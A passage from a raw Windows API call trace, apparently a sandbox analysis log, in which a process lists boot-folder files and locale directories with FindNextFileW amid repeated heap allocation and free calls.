lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x32ba2d8 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3c8 [0112.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3a0 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3c8 | out: hHeap=0x660000) returned 1 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2d8 | out: hHeap=0x660000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.494] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x54) returned 0x3294720 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3c8 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba378 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3a0 | out: hHeap=0x660000) returned 1 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2d8 | out: hHeap=0x660000) returned 1 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a6888 | out: hHeap=0x660000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.494] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3a0 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba350 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.494] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa8) returned 0x3206400 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba378 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3c8 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4e0 [0112.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba508 [0112.494] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.495] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfc) returned 0x328fea0 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba350 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3a0 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba530 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba558 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba580 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5a8 [0112.495] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.495] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba508 [0112.495] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16c) returned 0x7549e0 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4e0 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3c8 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba378 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5d0 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5f8 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba620 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba648 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba670 [0112.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba698 [0112.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5a8 [0112.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0112.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x214) returned 0x331e748 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba580 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba558 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba530 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3a0 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba350 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba6c0 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba6e8 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba710 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba738 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba760 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba788 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba7b0 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba7d8 [0112.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.497] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.497] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba508 [0112.497] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba698 [0112.497] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba670 [0112.497] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x310) returned 0x331e968 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba648 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba620 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5f8 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5d0 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba378 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3c8 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4e0 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba800 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba828 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba850 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba878 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba8a0 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba8c8 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba8f0 [0112.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba918 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba940 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba968 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329bff8 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c020 [0112.498] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba698 [0112.498] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, 